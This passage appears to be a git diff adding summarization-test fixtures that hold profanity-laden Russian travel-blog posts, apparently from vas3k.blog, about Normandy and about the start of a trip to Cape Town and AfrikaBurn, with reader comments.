было настолько, что когда мы остановились на платной парковке в центре города и спросили у проходяшего мимо француза «а как тут платить?» он сказал «ну вообще вон там, но щас уже никого нет, все ушли домой, так что никак не платить». И тоже ушел домой. То ли среда, то ли вечер, то ли ковид у ребят. Скорее всего всё сразу. В смысле, блять, камешки красть нельзя? Вы чо там? Поехали отсюда нахер! Хотя на часах было всего 7-8 вечера, ни один из красивеньких ресторанов уже не работал, так мы и шатались голодными Мы были голодные, так что решили дофотать и поехать дальше, в более населённый Honfleur. Там живет аж 7000 человек, а не 1000 — настоящий мегаполис! Там мы нашли и ресторанчиков, и ночлег, и сидра. Honfleur тоже маленький и милый У ребят есть ДЕРЕВЯННАЯ церковь и такой же старый рынок Вот так выглядит церковь из дерева изнутри. Удивительно, как еще не сгорела-то! 2 комментария 2 Artem Krasotin Удивительно, как еще не сгорела-то! Эта церковь - тоже Нотр-Дам? 4 Alexander Ponomarev Обычно не собираю камни с пляжей, но на этом бы подумал! Войти и написать Мон-Сен-Мишель Аббатство на горе посреди моря Старая звездочка на моей карте мест, где я мечтал побывать. Одно из редких чудес Европы. Даже сердечко такого скептика, как я, тут сразу тает. Мон-Сен-Мишель — это аббатство, построенное по факту на камне в море. Существует аж с 709 года (да, без тысяча). Он же стал прообразом города Минас Тирит во Властелине Колец. По легенде, в 708 году к одному французскому епископу пришел сам Архангел Михаил из рая и сказал «смотри какой пиздатый камень, хочешь построить на нём церковь имени меня?» Но французские епископы уже тогда были ленивы, потому Михаилу пришлось спускаться из рая еще несколько раз вопросами «ну чо, когда будет?». На третий раз он бахнул епископа перстнем по башке. У епископа осталась вмятина в черепе (можно увидеть на его скелете), а церковь наконец-то была построена. Умели же вот продукт-менеджеры когда-то дедлайны вести! Проехать на машине прямо до острова нельзя. Паркуешься на берегу и либо берешь бесплатный автобус, либо идешь пешком Со временем вокруг церкви появился город и аббатство, где поселились монахи. Сейчас там постоянно живут аж 30 человек. Самая главная особенность Мон-Сен-Мишеля — местные приливы и отливы, которые считаются самыми большими в Европе и вторыми в мире. Ночью вода приходит с моря и превращает крепость в остров, а днём, наоборот, отходит на много километров назад и ты себя чувствуешь как будто на камне среди пустыни. В том числе из-за них много веков крепость оставалась неприступной. Когда англичане (а ктож еще) пытались зайти на кораблях — утром они все оказывались на мели. Если же пытались подобраться пешком — тонули в зыбучем песке оголённого морского дна. Однажды они засели на соседнем камне и устроили осаду острова, но и это не помогло, монахи в аббатстве жрали только хлеб и вино, так что им ваша осада вообще параллельно. Стены же города такие высокие, что даже в современном мире найти такую лестницу будет проблематично. Короче, Мон-Сен-Мишель начали полноценно брать только с появлением авиации. Гитлер, правда, не разбомбил её, специально оставив как базу для своих высоких начальников. Модное место было очень. Когда приехали с поцанами в гости к Михаилу и такие ТААААК В общем, волшебнейшее место, особенно на рассвете. Нам повезло оказаться тут осенью, когда светает в 8 утра и не надо вставать слишком рано. Второе наше везение — из-за ковида в Мон-Сен-Мишеле, наверное, впервые за последние лет сто нет толп турья. Ночью улицы были абсолютно пусты, лишь редкие парочки туристов встречались нам по пути. Знающие люди говорят, что в обычное время здесь даже на рассвете на улицах такие толпы, что приходится протискиваться между китайцами. Не едьте в сезон, короче :) Пустые улицы, конечно, добавляют сказочности всему месту Жаль, мало кто их увидит в таком виде. После ковида тут будут снова толпы турья Главный же минус — цена на жилье, понятное дело. Мы решили заночевать на самом острове (чтобы там встретить рассвет), а это, по понятным экономическим причинам, весьма ограниченное предложение. В деревнях по соседству жить дешевле, но делать там абсолютно нечего, это прям мотели, от которых еще с утра ползти и ползти. Рассветы тут топовые Фотографии как обычно не передают масштабности происходяшего, но вот там белые пасутся на море — это чайки Можно красиво идти как Битлз на рассвет Что вы знаете об узких улицах! В Германии бы тут еще 2 велодорожки по краям уместили Внутри аббатства мы тоже побывали. Там забавно, но не так, чтобы писать об этом обзор. Вот запомнились фешн-платья! (но это уже современное) Виды сверху просто какой-то сюр. Это видеоигра, не иначе Французским военным на крутейших ренжроверах можно заезжать, а тебе нет Ладно, прошу официально зарегистрировать признание: в этой поездке во Францию я впервые жалею, что не взял камеру Крайне недоволен выжженным качеством фоток с телефонов. В посте есть как фотки на iPhone 13 Pro, так и на последний Google Pixel. Фоткают в среднем одинаково, кто-то в одной сцене лажает, кто-то в другой. Но оба в целом не устроили :( 4 комментария 1 Art А фоткал с (Pro)Raw или просто так? 1 Вастрик Просто так. Может надо попробовать включать ProRaw на время поездок в следующие разы. Но всё равно большая часть моих предъяв к детализации и отсутствии нормальной глубины кадра, то есть скорее к оптике, чем к матрице (они щас у всех охуенные) 0 Игорь Савельев Про выжженные фотки знакомо. Из-за этого перестал пользоваться стоковой камерой, заменил ее Adobe Lightroom. Приходится, конечно, потом руками к каждой фотке автотюн применять, но зато результат все же ближе к фотографии, нежели фантазии нейросетки в айфоне. 1 Magistr Ощущение что HDR включен, и еще там какой-то автоулучшайзер как есть у гуглофотосов. Я смотрю на свои пиксель фото и там нет такой ядренности (inb4 у меня такая же нога) Войти и написать Омаха Бич Высадка союзников Пустынный пляж, знакомый всем с детства по фильму «Спасти рядового Раяна» и игре Call of Duty, как место высадки союзников в Нормандии и открытия долгожданного второго фронта во время Второй Мировой. Сейчас пляж уже официально называется «Омаха» в честь той операции, хотя изначально не был. Рядом же много американского вида деревушек с названиями улиц в честь тех же американских генералов. Там же на горе есть американское кладбище с кучей белых крестов — его точно не спутаешь со старыми европейскими кладбищами. В ноябре туристов не много, так что пляж был абсолютно пустым и тихим, что только добавляло ему атмосферы. Фотка в заглавии поста именно оттуда. Это уже не оно, но рядом Миша нашел каток. Думает покататься Ирония в том, что там даже ключи «спрятаны»! ПРИВЕЕ! Почему-то ребята называют эту мою фотку «немецкий турист на отдыхе во Франции» и постоянно ржут! Комментировать Войти и написать Pointe du Grouin Отдельно отмечу Пуант-дю-Груан — большой мыс, который по сути и формирует вход в бухту Мон-Сен-Мишеля. Вы знаете, что меня хлебом не корми, дай залезть на какую-нибудь эпическую штуку, откуда тебя будет сдувать нахер ветром, чтобы ощутить какой ты маленький. То же самое мы делали в Португалии на Мысе Рока кто помнит. Теперь и в Нормандии! Это мы Удивило, что на скалах практически нет никаких заборчиков и прочих элементов безопасности. Можно вполне легально пойти гулять по узкой мокрой тропинке на высоте полусотни метров над морем, свалиться в него нахер и сдохнуть. Охуенно! Обожаем полазить по всякой каменной херне 1 комментарий 2 Alexander Denisenko Вастрик, когда в скалолазы уже? Войти и написать Монахи вот тоже пришли заценить виды Канкаль Целая деревня устриц! Север Франции знаменит двумя вещами — сидром и устрицами. О сидре поговорим ниже, сначала про устрицы. Французы первыми начали жрать устриц как деликатес. До них устриц уже ели итальянцы во времена всяких римских империй, но они считались едой для бедняков. Французские же короли первыми отребрендили устрицы во что-то царское и люксовое. Они вообще всю историю славились тем, что умели придавать обычным вещам оттенок роскоши, чтобы все их покупали за баснословные бабосики. Посмотрите только на количество бутиков на Елисейских Полях. Да даже само слово «бутик» они и придумали :D Короче, естественно, французские устрицы до сих пор считаются лучшими в мире. По-другому французы бы не согласились. Спросите же любого француза, куда ехать за самыми-самыми лучшими устрицами в самой Франции, он покажет именно сюда — в Канкаль (что в переводе с бретонского языка и означает «устрицы»). Отсюда их подавали прямо к королевскому двору, для чего в своё время изобрели первый в мире вагон-холодильник. Вот был двигатель прогресса-то! Только зацените, как эпически всё это выглядит. Там вон на горизонте тот самый Мон-Сен-Мишель виден Можно оценить масштабы по размеру тракторов Это устричные фермы, где выращивают несколько видов устриц. Потом их на местных тракторах «Беларусь» сгребают в телеги и медленно везут на берег — всё прямо перед твоими глазами. Но главное во всём этом безумии — прибрежный рынок, где эти самые устрицы прямо сразу можно купить и взожрать! Выбираешь 6, 9 или 12 устриц, которые больше нравятся, тебе их открывают, выкладывают на специальную тарелочку, огромным ножом отрубают половинку лимона и говорят бон аппети. Устричный рынок прямо на месте Тракторами прям сраз подвозят еще Жрать не просто можно прям здесь, а даже нужно — рядом есть старая пристань, на которой можно сидеть жопой и кидать устричную кожуру в огромную гору других раковин, чтобы потом дополнительно скатиться с неё на жопе самому. Щелкаешь устрицы как семечки На фоне горы из сожранных устриц Короче, дико рекомендую. Цены весьма гуманные для этих мест — примерно €1 за устрицу, в Черногории мы платили столько же. Причём устрицы там есть нескольких видов, и я внезапно впервые почувствовал между этими моллюсками хоть какую-то разницу. Раньше для меня они делились только на «сопли с лимоном» или «сопли без лимона». Специально для моих любимых комментаторов, которые обязательно отметят как Вострек ошибается, ведь это не Нормандия, это регион Бретань, скажу, что все эти нюансы волнуют исключительно когда сидишь дома перед монитором, а когда ты жрешь устрицу на пристани и запиваешь белым винишком — прям абсолютно насрать. Хотя постойте. А, нет, показалось, всё еще насрать. Те, кто не успел убежать до отлива 1 комментарий 0 Кирилл Т Оу, абсолютно верно было вам поехать в одну Нормандию, мы ломанулись и туда, и в Бретань - в итоге переугорели и часть мест пробежали, а не прошли. И, ЧТО САМОЕ НЕПРИЯТНОЕ, погода у вас на фотках лучше, чем у нас в конце июля! Войти и написать Сан-Мало Город пиратов Сан-Мало — цитадель, известная тем, что тут жили «легальные» пираты. «Легальными» они были потому что иногда король Франции приходил и давал им какие-нибудь поручения, а взамен их не трогали. Ведь, как мы знаем, когда государство хочет творить что-то нелегальное — оно просто объявляет это легальным :) Потому и называли они себя не пиратами, а корсарами. Брендинг всегда важен. Тут корсарам разрешили жить и парковать свои кораблики, а они на честно заработанные пиастры отгрохали здесь такую цитадель, что даже король охуел. Неловко вышло. Во время же второй мировой в ней засели немцы, потому британской авиации пришлось славно расхерачить весь исторический Сан-Мало, а потом отстраивать заново. Но, кстати, неплохо получилось. Дух «города за стеной» в центре сохранился. Прогулка по городской стене — первое же дело в списке Пострелять из пушки по англичанам — второе Улицы за стеной, кстати, выглядят вот так Сейчас Сан-Мало — город студентов. На стенах сидело много ребят с книжками Комментировать Войти и написать Дорога Сидра Сидр — главный напиток севера Франции. Юг знаменит своими винами: Каберне Совиньон, Мерло, Пино Нуар, Шардоне — эти местные сорта слышали все, даже неалкоголики. А вот север Франции — это сидр. Выращиванием яблок и производством из них сидра тут занимаются десятки деревень. Естественно, по доброй европейской традиции, для туристов между ними сделали рекомендованный маршрут и назвали его «дорогой сидра». Дорога специально сделана извилистой, чтобы припив сидра было удобнее ехать. Всё продумано! Такие маршруты постоянно делают в винодельческих регионах. Турист приезжает, ему дают велосипед или палки для хайкинга, и он идёт по каждой винодельне или сидродельне пробовать где ему вкусненько. Можно и на машине, конечно, но тогда водителю будет грустненько. В Чехии, помню, полиция однажды хотела запретить ездить на велосипеде пьяным, так винодельческие регионы восстали и пролоббировали отмену глупого запрета, ведь пьяненькие туристы, гонявшие из деревни в деревню, были их главным бизнесом! Сидровый круг почёта :) Остановки на фермах выглядят примерно так. Внутри встречает тётенька, показывает всякие погреба и потом даёт попробовать всякого бесплатно Бочки с яблочками 16 кг яблок = 10 литров сидра = 1 литр кальвадоса Кроме сидра тут еще делают кальвадос (это такой 40% яблочный бренди) и Поммёё (тот же кальвадос, разбавленный яблочным соком). Вот последний, кстати, мне очень зашел. Он не такой крепкий и горький как бренди, потому французы спокойно пьют его как аперетив перед обедом. Вершиной же вкуса для меня оказался кальвадос крем. Это как бейлис из яблок. Вот его я точно рекомендую попробовать, ведь за пределами Нормандии вы его уже не найдёте. Самая популярная сидроварня, где я и рекомендую закупаться — Pierre Huet. Там же оказалась и самая добрая тётенька, мы с ней проговорили аж полчаса. Она налила нам вообще всего попробовать и даже рассказала, как их продукцию можно найти за пределами Франции. Нетривиальная задача, кстати, но она говорит, для больших партий типа 16+ бутылок у них самих есть доставка. По остальным же можно прокатиться, чтобы посмотреть подвалы с бочками и сравнить сидры на вкус. Они будут отличаться, кстати. Не всегда в лучшую сторону :) Классический аппарат для перегонки, как у деда в гараже для самогона Дорога Сидра так увлекла нас, что до Рена и Ле-Мана мы в итоге даже не доехали! Зато посмотрели кучу других маленьких городов, каждый из которых прекрасен. 1 комментарий 1 Alexander Ponomarev Минутка занудства: в Чехии все-таки есть штрафы за нетрезвое вождение велосипеда, можно нагуглить ряд показательных случаев по словам "opilý na kole". Другое дело, что чехи не слишком перфекционисты в плане соблюдения законов, да и пиво-вино-покатушки очень любят :) Войти и написать Из забавных моментов: по пути на нас напал дикий дальнобойщик! Чувак на фуре сначала спокойно ехал за нами по пробке, а потом начал приближаться на метр и громко-громко гудеть. Сигнал у фуры такой мощный, в машине всем было прям физически больно, а уехать было некуда, мы же в пробке. Так он делал еще несколько раз, мы даже думали остановиться спросить что за дела, но потом просто свернули от него на одном из перекрестков. Что это было — до сих пор для меня загадка. Кто просил фотку Опеля, вот она В очередной раз убедился, что дальнобойщики в Европе — полная противоположность российским. Здесь они все какие-то ебанутые, спокойно могут подрезать на пустой дороге, пытаться взорвать твои барабанные перепонки и творить прочую дичь. Как же хорошо, что их первыми заменят самоездящими повозками! 4 комментария 0 shrimpsizemoose в таком опеле после буса не тесно было? :)) 1 Вастрик Опель большой достаточно, кстати, там даже сзади вполне можно было возлежать. После буса на кроссоверы легко пересаживаться — сидишь высоко, движок так же никуда не едет (бюджетный пакет сока же), кек. На легковушки сложнее пересаживаться :) 1 Artem Krasotin 'полная противоположность российским' - давно ты в РФ не ездил, как я посмотрю :) 8 Вастрик Раньше минимум два раза в год ездил Вильнюс — Москва. Все дальнобои на дороге всегда были лапочки, прижимались чтобы ты мог их обогнать, показывали сигналами, что нет встречных машин, моргали аварийкой в ответ. Да, три года я уже так не ездил, может что-то резко изменилось и они стали отбитыми психопатами как в Европе, хз Войти и написать Вот мы и обратно в Париже Итого Я специально не строил особых ожиданий на Францию и Париж. Даже ничего не гуглил, да. Так что кроме очевидных стереотипов про вкусную еду и смешной язык, куда из колоний украли все гласные, у меня в голове ничего не было. Если забыть горькие слёзы от цен, то всё остальное было в целом-то заебись. Да, огромную роль сыграли охуенные тревел-бадди, ведь иметь человека, владеющего французским языком во Франции — это роскошь, при которой успех неизбежен. Хотя, конечно, Париж уже отчасти пал перед глобализацией и становится интернациональным. Если 10 лет назад там по-английски не говорил вообще никто, сегодня соотношение примерно на уровне любой другой европейской столицы. Но даже там постоянно случались ситуации, когда нам сначала говорили «НЕТ! ИДИТЕ НАХЕР!», а потом после вежливого французского «а почему? а куда нахер?» сразу менялись в лице и начинали решать проблему всем двором. В целом, наверное это и сгладило мой опыт, потому северу Франции в этом отчёте я ставлю КЛЯС. Можно ехать. Наверное, по Нормандии будет очень круто прокатиться на бусе. Тут нет гор и дорогущих тоннелей, куча красивых узких деревенских дорожек, а ночёвками отобьются все их цены (во Франции много где разрешен дикий кемпинг). Дальнейшие планы — конечно же, посмотреть юг. Юг Франции — это отдельная охуенная страна, потому у меня даже в мыслях не было их как-то сравнивать или объединять. Если же вы хотите сгонять показать нам свою любимую страну — вы знаете куда писать. 1 комментарий 0 Oleh Vasylenko Вот уж националисты французы.. Войти и написать +============== diff --git a/tests/summarization/https___vas3k.blog_world_south_africa_.txt b/tests/summarization/https___vas3k.blog_world_south_africa_.txt new file mode 100644 index 0000000..9ffa3e7 --- /dev/null +++ b/tests/summarization/https___vas3k.blog_world_south_africa_.txt @@ -0,0 +1,2 @@ +Начать писать этот пост было прям сложно. Обычно после любой другой поездки в голове остаётся парочка горячих тезисов, которые хочешь всем рассказать, плюс пяток кекабельных историй, вот и готов тревел-блог. С Африкой всё вообще по-другому. Пиздецки по-другому. В голове до сих пор какой-то ядерный взрыв впечатлений — от «что за жесть это была» до желания вернуться туда еще и остаться надолго. Олды помнят, что до Кейптауна мы собирались долететь еще в 2020-м. Тогда у меня даже был наивный план сделать а-ля кругосветку до тридцати. Ага, сказал ковид, и закрыл нас всех на два года. Билеты пришлось списать. В начале 2022 пришла новая надежда. Друзья-бёрнеры предложили вместе поехать на AfrikaBurn (местный Burning Man). Так получилось целое приключение, о котором теперь меня расспрашивают практически все друзья. Для них я и решил выложить все свои мысли в этот лонгрид. Комментировать Войти и написать Да, пимгвинчик, опять будет много буков Перелёт Пробуем Qatar Airways Сам AfrikaBurn проходил с 25 апреля по 1 мая 2022 и билеты искались именно под эти даты, плюс-минус неделя, чтобы потусить в Африке. На выбор было три опции: Люфтганзой через Мюнхен, голландским KLM через Амстердам, либо Катарскими Авиалиниями через, как догадались интеллектуалы, Катар. Люфтганзой на дальняк я уже летал, они хорошие, но сервис там чисто немецкий — вроде бы всё есть, но никто никому ничего не должен. В зависимости от ситуации это может быть плюсом или минусом. Просто хотелось новенького. Минус колени KLM был самый дорогой и не очень желанный. У нас в Европах есть прямая зависимость: чем больше социализма в стране — тем меньше в ней сервиса. Если тебе в лицо кидают холодную сосиску в хлебе за €20 и говорят «кепчук вон там» — значит ты точно в стране с одним из «наивысших индексов счастья» по европейским соцопросам :D В социализме выгодно шлёпать детей и лечить зубы, а отдыхать и летать лучше в капитализме и неравенстве. Оставался Катар. И не зря! Восточное гостеприимство всё-таки никто не переплюнет. Еще до взлёта тебя заваливают подарками типа пледов, полотенец, бутылочек, наушников, масочек и перчаточек так, что тебе даже рассовывать их уже некуда, так во всём этом великолепии и спишь как шейх. Пять часов до Катара я смотрел сериалы, играл в самолётный 2048 и время от времени просил добавки просекко. Инфотеймент офигенный, на мониторчиках в сиденьях можно даже играть в игры ПО СЕТИ. Да-да, можно вызвать на турнир по шахматам «вон того чувака с места 24F» :D Жаль, не все игры поддерживают такое. И доты нет. Пить просекко и ставить рекорды в самолётном 2048 — план на ближайшие 18 часов Пересадка в Дохе была короткая, так что из единственно запомнившегося были публичные аймаки прям в аэропорте, через которые можно было выйти в интернет и посетить какой-то местный справочный портал. На стартовом экране портала была большая поисковая строка с призывающей надписью «Введите здесь что вы хотите найти». Я ввёл «хочу найти здесь права женщин» и катарский компьютер выдал «ничего не найдено». Чуть пизды не получил от арабов за такое. Дальше был 9-часовой рейс до Кейптауна. Тоже прошло отлично. Я, напомню, большой мальчик под два метра, а это эконом-класс, так что эти слова дорогого стоят. По пути в Африку я решил найти каких-то африканских фильмов, чтобы немного проникнуться атмосферой. Чтобы не про сафари и львов, а именно про людей. Кто у них там местный Балабанов? В итоге в медиатеке Катарских Авиалиний нашел весьма аутентичный фильм, называется Angeliena (2021) (есть на Netflix, а на Кинопабе и Рутрекере нет, сорян). Милый и атмосферный фильм, он точно войдет в мои итоги года, а я теперь рекомендую всем любителям «странного». Я ждал, что африканское кино будет «другое» и не разочаровался. Оно не похоже ни на Голливуд, ни на Болливуд. Я не пожалел. Вот хоть трейлер посмотрите. Итого, если бы все авиалинии были Катарскими, я бы жил у них в самолётах :D Добавил себе в бакет лист теперь еще полетать Эмирейтсами и Сингапурами. Ладно, Вострек, давай уже про Африку. 7 комментариев 0 Alex Andreev Как называется приложение для трекинга полетов? 3 Кирилл Пименов https://www.rottentomatoes.com/m/the-gods-must-be-crazy же — пожалуй самый известный из африканского кино, и вполне заслуженно, он офигенный 1 Вастрик Alex Andreev, на скриншоте Flighty. Давно пользуюсь после переезда с App in the Air, но пока не до конца доволен. Работает он явно лучше, но нет синхронизации с календарём, это беда 0 Alex Tarasov Это толстовка Zalando на кадре в самолёте? 2 Вастрик Alex Tarasov, на мне? Не, это толстовка Parity :) 0 Alex Andreev Вастрик, пишут, что в Pro версии есть синк с календарем 0 Sergey Vasilenko Первый раз летал на дальнее расстояние тоже Катарскими Авиалиниями и был очень впечатлён их сервисом. Позже мне удалось полетать KLM и Люфтханзой до Америки, и это было не чуть не хуже Катарских. На дальние расстояния практически все компании предлагаю довольно высокий уровень сервиса. Кстати, в этом году я попал на "старый" самолёт Эмирейтс где экранчики были крайне тормознутые. Не ожидал от них такого. Войти и написать День 0 Впервые в Африке Да, я никогда не бывал Африке, но давно о ней мечтал и сделал своё «домашнее задание» еще в 2020-м — прочитал все интернеты и историю почти каждой страны (а их там чот дохуя). Согласно конституции, у ЮАР 3 столицы и 11 официальных языков. Всё очень просто))0)))) Английский — основной, так много где в Африке. Он стал им искусственно, потому что Африка — это куча племён, у каждого из которых свой язык, и им нужно было как-то общаться. Общим знаменателем стал Английский, он удобен для общения с колонизаторами туристами, а вторым Африкаанс — он пригодился для общения между собой. Африкаанс, как они сами объясняют — это «детский голландский» (с упрощенной грамматикой), который сам по себе упрощенный немецкий. Так что фразочка в подзаголовке ? дословно «не будь какашкой, будь вкусненьким» — это местный мем, микс языков, вот так они и разговаривают. Она, кстати, стала девизом всей поездки. Я примерно знал чего ожидать и Кейптаун был специально выбран как свитспот, где Африка уже настоящая, а не какой-нибудь Египет, но еще пока относительно безопасная — не придётся нанимать себе личную охрану для пешей прогулки по городу. Вопрос был лишь в балансе. Понятно, что в любой Африке будут небезопасные места, но насколько? Так если внешние интернеты почитать, у них и Кройцберг с Кэмденом будут небезопасны. Надо было разобраться. Что мы точно знали про Африку — нормально передвигаться здесь можно только на машине. Один-в-один как в США. Африка вообще местами сильно напоминает именно США, по ходу поста будет еще много параллелей. Главная тусовая улица Long Street. Здесь у меня плотный вайб какого-нибудь американского Нового Орлеана, но ребята говорят, что Таиланд :( Но блин, ну вот здесь прям точно ну вылитая Америка! Даже светофоры похожи ЮАР, однако, для Африки считается развитой страной ? ну камон, у них ВВП на душу населения как у Беларуси или Украины, и примерно 2/3 от российского, но они вообще-то не продают нефть, то есть без нее даже выше , потому тут даже существует общественный транспорт (aka. маршрутки). Но пользоваться им рекомендуют только, скажем так, интегрированным локалам. Там ниже на фотках я еще покажу почему :) Без машины — максимум Убер. Он есть внутри городов и дешев, но это вариант скорее чтоб поехать вечером в бар. Помните, что 90% интересного в Африке находится именно за городами — так что без прав или людей с правами в Африку не вариант. ? Чот фраза «людей с правами» так расистски звучит в контексте этого поста 2 комментария 4 Sergey Skripko если у тебя прав нет, то и женщина из мусульманской страны не поможет 4 Андрей Доманский в норвежском тоже есть lekker и тоже вкусненький Войти и написать Первая остановка: рентовка Лично я давно мечтал покататься по Африке на 4х4 джипе с палатками на крыше, как это ранее уже делали мои друзья. Я дикий фанат оффроада. Мне кажется именно оффроуд является наивысшей формой путешествия — дух свободы и исследования без привязки к инфраструктуре. Штош. Мечта сбылась. Вот такая булочка ждала нас на парковке: Toyota Hilux, 2.5 diesel Примерно час ушел просто на то, чтобы чувак показал нам как всё работает — где открывается вода, как откидываются палатки, как спасаться от москитов, дождя, ветра. Где лопата и две запаски итд. В Африке много таких рентовок, так что какие-то конкретные рекомендовать не буду, просто гуглите по «4x4 rentals {your_city_name}», они все примерно одинакового (среднего) качества. В комплекте с внедорожником дали даже стулья, стол, газовая горелка, подушки и спальники на четверых. Полный набор — докупи еды и можно сразу ночевать в пустыне. Всё это добро обошлось где-то в $2500 за 2 недели, конечно же включая втюханную нам страховку, от которой невозможно было отказаться. Ну да пофиг, всё равно нормально. Машину мы бронировали где-то за 2 месяца, так как на даты AfrikaBurn, очевидно, все 4х4 и RV кончаются не только в ЮАР, но и даже в соседней Намибии. Ну, конечно, надо 7000 человек увезти, спрос дикий. Ну и да, конечно же надо понимать, что это праворульная тоёта на палочке (!). Удачи, сраные европейцы, с переключением передач. Ну и лучше, чтобы в первые пару дней друзья вам громко подсказывали, что при повороте направо надо ехать В ДАЛЬНЮЮ ПОЛОСУ. Но сцепление на тоёте было очень сладеньким. С таким понятным сцеплением и мощным дизельным двигателем — я бы всю жизнь так водил! POV: твой друг, который помогает справиться с левосторонним движением на ручке в Африке! 1 комментарий 4 Коба Дмитрий Возможно, 7000 человек надо увеЗти? Ну или это кек, а я лох. Войти и написать Второй вопрос: где жить Возвращаясь к разговору про небезопасные районы. Не имея никакого опыта с Африкой, было непросто понять где «правильно» искать жилье. В Европах обычно хватает десятиминутного рисёрча по блогам, карте города и комментам на hoodmaps, чтобы понять где туристический ад, а где совсем уже спальники, чтобы тактически поселиться между ними. В Африке же весь твой «европейский» опыт оказывается бесполезен, пока ты сам глазами и ногами ничего не попробовал. Было непросто. По итогам личного осмотра я нарисовал картинки ниже. Пока лишь скажу, что остановились мы тупо там, где и предписано турью — De Waterkant. В целом нормальная локация для исследования города — самый центр между богато-европейскими Green Point и Waterfront, хипстерскими Gardens и просто туристическими Long Street (пати-улица) и District Six. Короче, ладно, вроде нормальная такая база для первонахов. Выглядит очень бело! Рядом была модная прачечная, кемпинг-магазин (крутой, кстати), куча спешилити-кофе, баблти и в общем всё, что надо белому туристу, чтобы не сразу охуеть от контрастов. Проблема была лишь в одном — наша Toyota не влезла ни в одну из местных подземных парковок, которые были в лучшем случае 2.10, как в Европе, а мы с палатками на крыше были под 2.30 минимум. Мы объехали кварталов шесть вокруг — все парковки были максимум 2.10. Голландцы опять строили штоле! Что за фигня! Пришлось в первую ночь ставить машину на улице, хотя местные в один голос говорили, что это ой как опасно и завтра тоёты у вас не будет. Но раз уж рентовка всё равно стрясла с нас 800 баксов за страховку, так что может хоть отбилась бы. Но надо отдать должное местным — увидев наши тщетные попытки, они предложили припарковаться хотя бы рядом со входом, чтобы консьерж ночью поглядывал на машину на всякий случай. Добро! Нравится! Ночь машин пережил. Мародёры его не нашли. Зато нашла местная полиция и выписала штраф за парковку на неправильной стороне улицы (это когда все машины стоят носом по направлению движения, а ты против). Хаха, снова европейцы не осилили левостороннее движение. Да блин, я даже в Германии-то постоянно забываю развернуться, когда на другой стороне вижу пустое парковочное место, и просто запрыгиваю в него и всё. А тут СЦАПАЛИ прям в первую же ночь. Ну ладно. Донат в бюджет города :) 1 комментарий 2 Коба Дмитрий А, может быть, "Голландцы опять стРоили" ? Войти и написать День 1-3 Кейптаун. Мини-гайд по городу Следующие несколько дней мы закладывали на исследование города. Мой план был посмотреть всё. Начиная с ультра-белых районов, где местные белые живут за огромными электрическими заборами и передвигаются по городу исключительно на такси и своих ренжроверах, заканчивая уже немножечко некомфортными, но от этого самыми интересными мне лично районами с «атмосферой раннего Бронкса», как их политкорректно описывают англоязычные блогеры. Нормальных русскоязычных обзоров Кейптауна я так и не нашел. Все либо драма-квины типа Варламова, либо «восхищенные понаехи», у которых даже мигрантский медовый месяц не закончился. В Кейптауне много районов и все они разные. Город децентрализован, как хорошие европейские города. То есть физически «центр» у него конечно же есть, но там тусят в основном туристы и наркодилеры из Эфиопии, а все локалы выбирают себе район по душе и обитают в нём, либо телепортируются туда-сюда на убере в зависимости от настроения. Тут я уже не терялся как какой-нибудь москвич, впервые оказавшийся в Берлине и спрашивающий «а где центр?» Да нигде)0))) Правда, в отличии от Берлина, даже локалы не передвигаются между районами пешком. Районы часто разделяют пустыри или шоссе, которые не так легко пересечь без приключений (во всех смыслах). Так что пользуйте убер. Особенно поначалу. Тем более здесь он дешевый. Про общественный же транспорт забудьте — до него нужно дорасти, не напрягайтесь пока :) Про каждый район можно рассказать по два экрана текста, так что я просто нарисую вам свою личную карту впечатлений. Как обычно, она будет несовпадать с вашими. Когда я нарисовал такую про Берлин, например, все русские переселенцы захотели меня найти и пырнуть ножом как-нибудь вечером. Я вас предупреждал! Комментировать Войти и написать Ну и дополнительно рекомендую вот этот обзор: Where to Stay in Cape Town: 7 Best Neighborhoods for 1st-Timers. Лично мне он неплохо помог быстро сориентироваться где что в городе. Автор весьма подробно и структурно разобрал разные районы по рейтингам типа safety, food, prices и local feel, ну и личным впечатлениям по опыту жизни. Люблю такое. Комментировать Войти и написать Is it safe? К главному лейтмотиву обзора. Даже обезьянки unsafe Вопрос, который мы задавали себе и всем локалам, которых встречали. А встречали мы много — начиная от знакомых чуваков из инстаграма, заканчивая просто местными рандомами на парковке. В Африке весьма легко завести диалог, тем более все говорят по-английски. Иногда даже сложнее из него выйти, чем начать :D Прикол в чём. 100% местных рандомов на вопрос типа «is it safe to...» отвечали «no no, it's unsafe, very unsafe, my friend». Причем неважно на что — парковать машину, гулять, есть еду. Всегда был ответ unsafe. Поначалу мы не особо понимали что происходит. Битых стёкол на улице вроде не замечено, но все местные говорят, что на улице парковаться нельзя-нельзя. Мы даже пошли ва-банк: нашли самый дорогой ресторан на районе с огороженной (!) парковкой, сели туда, заказали стейки из страуса и стали допрашивать персонал можно ли нам оставить машину у них на ночь. Но и там нам сказали no no it's unsafe. «Мы сможем посмотреть за ней до конца рабочего дня, конечно, но ночью тут никого нет, а вон там живут чуваки в палатках, мы к сожалению не сможем вам гарантировать...» И прям во время этого диалога к машине подбежал маленький голый мальчик и начал дергать все ручки и антеннки машины на предмет открытости или отрываемости. Мде. Показательно. Я не эксперт, но этот автобан тоже выглядит unsafe! Вот это их «unsafe» прям напрягало в первые дни. Ну то есть в интернете понятно, вам про любой город расскажут страшилок как у кого-то посреди дня пин-код от карты увели, но тут прям все локалы тебе говорят такое... Короче, Do Your Own Research, читайте форумы, и готовьтесь морально. Я не хочу давать тут прям универсальных советов всем. Поделюсь своим личным TL;DR по итогам. ⛔️ Если вам 35+, вы интеллигент-программист, привыкший к скуке комфорту европейских городов, дающий свой айфон позвонить любому встречному и не желающий никак признавать любой местный быт, а приехали ОтДыХаТь — вам действительно рекомендовано парковаться на охраняемых парковках, жить в богатых районах и перемещаться по городу только на такси. Так можно, Убер недорогой, а парковки скорее всего уже будут включены в цену AirBnb или отеля. Белые локалы так и живут, мы их расспрашивали, для многих «не гулять после 10 вечера» это норма. 🔥 Если же вы гопник-бекпакер из Сибири, умеете посылать нахуй чуваков, просящих у вас мелочь, знаете как правильно ответить на вопрос ТЫ СКАКОВА РАЙОНА, можете со строгим лицом говорить I SAID NO, и не будете светить сумочкой Prada — для вас Кейптаун можно считать условно безопасным. Пока вы, конечно, не сунетесь в трущобы, но до них вы пешком не дойдёте, туда надо специально ехать. Так что врубайте механизмы базовой защиты и погнали. Кейптаун будет не более unsafe, чем современное Бутово или Ржевка. В крайних случаях в Кейптауне отлично работает «режим русского берсеркера» — это когда начинаешь громко и злобно орать на чуваков что-то на русском матерном, который они не понимают, но это их сразу отрезвляет. Русский 